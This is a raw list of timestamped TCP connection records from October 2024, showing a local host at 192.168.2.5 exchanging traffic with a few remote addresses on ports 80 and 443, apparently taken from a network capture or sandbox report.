Oct 7, 2024 18:00:57.927901983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927911043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927918911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927923918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:57.927927017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927934885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927943945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927952051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927962065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927970886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927978992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.927988052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.931926012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932142973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932153940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932163000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932172060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932178974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932327032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932337046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932344913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932353973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932403088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932449102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932694912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932704926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932749987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932759047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932766914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932775021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932784081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932792902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932804108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932910919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.932919979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933005095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933085918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933094978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933123112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933911085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933921099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933928967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933937073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933945894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933954000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933962107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933970928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933978081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933986902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.933995008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934003115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934010983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934020042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934027910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934039116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934047937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:57.934056044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:58.379046917 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.380390882 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.380419016 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.380815029 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.380820990 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.384387016 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.385525942 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.386872053 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.386881113 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.387367964 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.387372017 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.387926102 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.387948990 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.388339996 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.388350010 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.467879057 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.468285084 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.468306065 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.468703032 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.468708038 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.474101067 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.474828005 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.474900007 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.474934101 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.474937916 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.474948883 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.474951982 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.477246046 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.477334976 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.477417946 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.477701902 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.477737904 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.479993105 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480062962 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480113983 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.480122089 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480168104 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480194092 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.480201960 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480214119 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.480214119 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.480218887 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480225086 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.480988026 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.481050968 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.481108904 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.481158972 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.481158972 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.481184006 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.481208086 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.483216047 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483246088 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.483340979 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483453035 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483481884 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.483509064 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483540058 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.483594894 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483675957 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.483685970 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.496406078 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.496752024 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.496767044 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.497170925 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.497176886 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.568300009 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.568367958 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.568476915 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.568669081 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.568700075 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.568708897 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.568715096 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.571511984 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.571533918 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.571618080 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.571783066 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.571793079 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.597528934 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.597930908 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.598010063 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.598021984 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.598047972 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.598098993 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.598134041 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.598149061 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.598157883 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.598161936 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.600755930 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.600833893 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:58.600928068 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.601073027 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:58.601108074 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.123681068 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.123687029 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.124202967 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.124223948 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.124650002 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.124660969 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.125052929 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.125766993 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.125782013 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.126142979 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.126153946 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.126207113 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.126215935 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.126513004 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.126518965 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.204941034 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.205684900 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.205699921 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.206121922 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.206126928 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.214220047 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.214764118 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.214834929 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.215085983 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.215102911 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230041027 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230041027 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230462074 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230904102 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230942011 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230945110 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.230978966 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231035948 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231080055 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231080055 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231080055 CEST	49951	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231116056 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.231138945 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.231164932 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231170893 CEST	443	49951	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.231440067 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231460094 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.231471062 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.231477022 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.232392073 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.232409954 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.232434034 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.232449055 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.234864950 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.234891891 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.234985113 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235006094 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235057116 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.235110044 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235173941 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235188007 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.235270977 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235286951 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.235594988 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235640049 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.235718966 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235783100 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.235797882 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.299911976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:59.300028086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:59.303370953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:59.307015896 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.307275057 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.307332039 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.307368040 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.307374954 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.307389975 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.307394028 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.309000015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:59.310075045 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.310096979 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.310162067 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.310296059 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.310309887 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.328460932 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.328536034 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.328659058 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.328828096 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.328828096 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.328829050 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.328829050 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.330995083 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.331034899 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.331127882 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.331262112 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.331275940 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.637963057 CEST	49955	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.638003111 CEST	443	49955	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.912534952 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.912544012 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.913150072 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.913171053 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.913367987 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.913377047 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.913727045 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.913733006 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.913806915 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.913811922 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.917743921 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.918186903 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.918205023 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.918618917 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.918627024 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.924068928 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.924484968 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.924504042 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.924913883 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.924918890 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.947475910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:59.947566032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:59.959894896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:00:59.964895964 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:00:59.964972019 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:00:59.965085983 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:00:59.969990969 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:00:59.972338915 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.972784996 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.972807884 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:59.973221064 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:59.973228931 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008402109 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008469105 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008615971 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008692026 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008698940 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008814096 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008814096 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008814096 CEST	49957	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008836985 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008846045 CEST	443	49957	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008877039 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008881092 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.008889914 CEST	49958	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.008897066 CEST	443	49958	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.011617899 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011661053 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.011693954 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011732101 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011742115 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.011795044 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011921883 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011921883 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.011934996 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.011946917 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.017930031 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.017995119 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.018117905 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.018151045 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.018172026 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.018188953 CEST	49956	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.018194914 CEST	443	49956	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.020293951 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.020349026 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.020436049 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.020566940 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.020596027 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.020864964 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.021503925 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.021563053 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.021599054 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.021605968 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.021615028 CEST	49959	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.021619081 CEST	443	49959	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.023545027 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.023567915 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.023638964 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.023761988 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.023777008 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.080075979 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.080248117 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.080343008 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.080602884 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.080634117 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.080646992 CEST	49960	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.080655098 CEST	443	49960	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.083686113 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.083729982 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.083801985 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.084012985 CEST	49966	443	192.168.2.5	13.107.246.64
